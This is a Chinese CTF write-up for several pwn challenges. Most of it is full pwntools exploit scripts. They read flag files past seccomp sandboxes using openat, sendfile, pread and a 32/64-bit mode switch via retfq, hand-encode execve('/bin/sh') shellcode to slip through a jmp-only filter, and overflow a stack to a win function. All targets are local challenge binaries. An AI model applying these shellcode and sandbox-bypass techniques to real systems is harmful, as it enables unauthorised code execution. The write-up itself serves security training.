shellcode1

程序开启了沙箱保护

1
seccomp-tools dump ./filename

该指令查看沙箱保护

2

只允许read write open

打开后把内容写到可读可写的内存段 这里选择rsp 之后再用标准输出读出来

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux')
r=process('./shellcode1')
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,'rsp',0x50)
sh+=shellcraft.write(1,'rsp',0x50)
sh=asm(sh)
r.sendline(sh)
r.interactive()

shellcode2

与第一题类似,不过禁用了open和部分读写函数

open用openat替代

openat函数

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

第一个代表目录文件表述符≠文件描述符 设置成AT_FDCWD表示打开相对路径使用当前目录 数值为-100

sendfile函数

ssize_t senfile(int out_fd,int in_fd,off_t* offset,size_t count)

第一个参数相当于write的fd 第二个参数相当于read的fd

第三个参数为偏移量,一般设置成0

第四个参数表示传输字节数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
from LibcSearcher import*
context(log_level = 'debug',arch = 'amd64',os = 'linux')

r=remote('127.0.0.1',42185)
#r = process("./shellcode2")
e=ELF('./shellcode2')

sh=shellcraft.openat(-100,'./flag',0)
sh+=shellcraft.sendfile(1,3,0,0x100)

gdb.attach(r)
pause()
sh=asm(sh)
r.sendline(sh)

r.interactive()

shellcode3

1

沙箱发现没有限制64位,但没有open,不过程序给了个fstat,这个函数在64位的系统调用号和open在32位的系统调用号一样,所以可以把程序转到32位再open之后再转到64位读写

汇编指令:retfq,相当于pop ip;pop cs

cs寄存器为0x23系统执行32位,cs为0x33执行64位

因为64位地址比32位长,所以32位下无法解析64位地址

所以用mmap映射一部分内存来存放32位地址

mmap函数

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

用于映射文件

此处mmap(0x40404040,0x100,7,34,0,0)

映射一部分内存区域后,用read函数把后续shellcode读入这块内存

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import*
from LibcSearcher import*
context(log_level = 'debug')
r=remote('127.0.0.1',45647)
#r=process('./shellcode3')
buf=0x1000
#sh=asm(shellcraft.open('flag'),arch='i386',os='linux')
sh1=asm(''' xor ebp, ebp
push 0x602000
xor rdi,rdi
pop rdi
push 0x100
xor rsi,rsi
pop rsi
xor rdx, rdx
push 7
pop rdx
push 0x22
pop r10
/* call mmap2() */
xor rax, rax
xor r8,r8
xor r9,r9
mov rax, 0x9
syscall
push rdx
pop rdx
/*read*/

push 0x602000
pop rsi
push 0
pop rdi
push 0x40
pop rdx
xor rax,rax
syscall
''',arch='amd64',os='linux')
sh1+=asm('''

mov esp,0x602160/*可读的地址即可*/
/*64->32*/
push 0x23
push 0x602000
retfq
''',arch='amd64',os='linux')
sh2=asm('''/*open*/
push 0x67616c66
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0x5
int 0x80
mov ecx,eax
''',arch='i386',os='linux')
sh2+=asm('''
push 0x33
push 0x60201d
retfq
/*read*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/*write*/
mov rdi,1
mov rax,1
syscall
mov esp,0x40404550
''',arch='amd64',os='linux')
#sh=shellcraft.i386.open('flag')

gdb.attach(r)
#pause()
r.sendline(sh1)
pause()
r.sendline(sh2)
r.interactive()

shellcode4

3

和第二题一样,read换成pread。

或者用mmap映射一段内存

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux')

buf='rsp'
#r=process('./shellcode4')
r=remote('127.0.0.1',46251)

sh=asm(shellcraft.openat(-100,'./flag',0))
sh+=asm(shellcraft.pread(3,buf,0x50))
sh+=asm(shellcraft.write(1,buf,0x50))
gdb.attach(r)
pause()
r.sendline(sh)
r.interactive()

shellcode5

程序只允许j开头的汇编指令进行执行

这题可以从机器码入手

jmp的机器码分为两种

  1. \xeb:两字节的jmp
  2. \xe9:五字节的jmp

程序的特判是遇到\xeb后会往下跳过一个字节再去检查下一个汇编指令,同理遇到\xe9会跳过四个字节再去检查下一个

因此真正运行的shellcode就藏在着四字节

\xeb\x01\xe9\x??\x??\x??\x??这样一个单元可以绕过程序的特判去执行后面四字节的指令,因此就想办法把shellcode拆成四字节

在此处给rax直接赋值就不行,因为他会把下一条的\xeb\x01给读进去

因此只能给eax,al,ah赋值再用 shl rax进行移位

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux')
r=remote('127.0.0.1',43289)
#r=process('./shellcode5')
e=ELF('./shellcode5')



#\xeB 2bytes
#\xe9 5bytes

sh='\xeb\x01\xe9\xb4\x68\xeB\x01\xe9\xb0\x73\xeB\x01'
sh+='\xe9\x48\xc1\xe0\x10\xeB\x01\xe9\xb4\x2f\xeB\x01\xe9\xb0\x6e\xeB\x01'
sh+='\xe9\x48\xc1\xe0\x08\xeB\x01\xe9\xb0\x69\xeB\x01\xe9\x48\xc1\xe0\x10\xeB\x01\xe9\xb0\x2f\xb4\x62\xeB\x01'
sh+='\xe9\x50\x00\xeB\x01\xe9\x48\x89\xe7\x00\xeB\x01\xe9\x31\xd2\x31\xf6\xeB\x01\xe9\x6a\x3b\xeB\x01\xe9\x58\x0f\x05\x00'
#sh+='\xe9\x50\x48\xeB\x01\xe9\x89\xe7\xeB\x01\xe9\x31\xd2\xeB\x01\xe9\x31\xf6\xeB\x01'
#sh+='\xe9\x6a\x3b\xeB\x01\xe9\x58\x0f\x05\x00'
#sh='\xeB\x01\xe9\xc1\xe3\xeB\x01\xe9\x10\x00\x00\x00'
'''48 b8 2f 62 69 6e 2f 73 68 00 50 48 89 e7 31 d2 31 f6 6a 3b 58 0f 05 '''
'''b0 2f b4 62 50 48 89 e7 31 d2 31 f6 6a 3b 58 0f 05'''
sh1=asm(
'''
/*execve('/bin/sh\x00',0,0)*/
/* execve(path='/bin/sh\x00', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
/*mov eax,0x1 b8 01 00 00 00*/
mov ah,0x68
mov al,0x73
shl rax,16
mov ah,0x2f
mov al,0x6e
shl rax,8
mov al,0x69
shl rax,16
mov al,0x2f
mov ah,0x62


/* mov rax, 0x68732f6e69622f */
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall

'''
)
sh1=asm('xor edx,edx')#48 89 e7
#sh1=asm(shellcraft.execve('/bin/sh',0,0))
print(sh)
gdb.attach(r)
#pause()

r.send(sh)
r.interactive()

flock

不同以往的ret2text

这题在填充满buf要对rbp进行恢复,所以不能直接加8字节覆盖掉

4

程序还有特判,要求函数的返回地址要等于什么什么,这样的特判有四个,因此到最后一个的时候在跳转到win

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
from LibcSearcher import*
context(log_level = 'debug')
#r=remote('127.0.0.1',45647)
r=process('./flock')
offset=128
addr=0x4011BD
addr4=0x401276
addr3=0x4012a0
addr2=0x4012ca
addr1=0x4012f0
r.recvuntil('Song Begins At ')
rbp=r.recv(14)
rbp=int(rbp,16)
rbp1=rbp+0xa0
print(hex(rbp1))
rbp2=rbp1+0x20
print(hex(rbp2))
rbp3=rbp2+0x20
print(hex(rbp3))
payload=offset*b'a'
payload+=p64(rbp1)+p64(addr4)
payload+=b'a'*16+p64(rbp2)+p64(addr3)
payload+=b'a'*16+p64(rbp3)+p64(addr2)
payload+=b'a'*16+p64(addr)+p64(addr1)
payload+=b'a'*8+p64(addr)
gdb.attach(r)
r.send(payload)
r.interactive()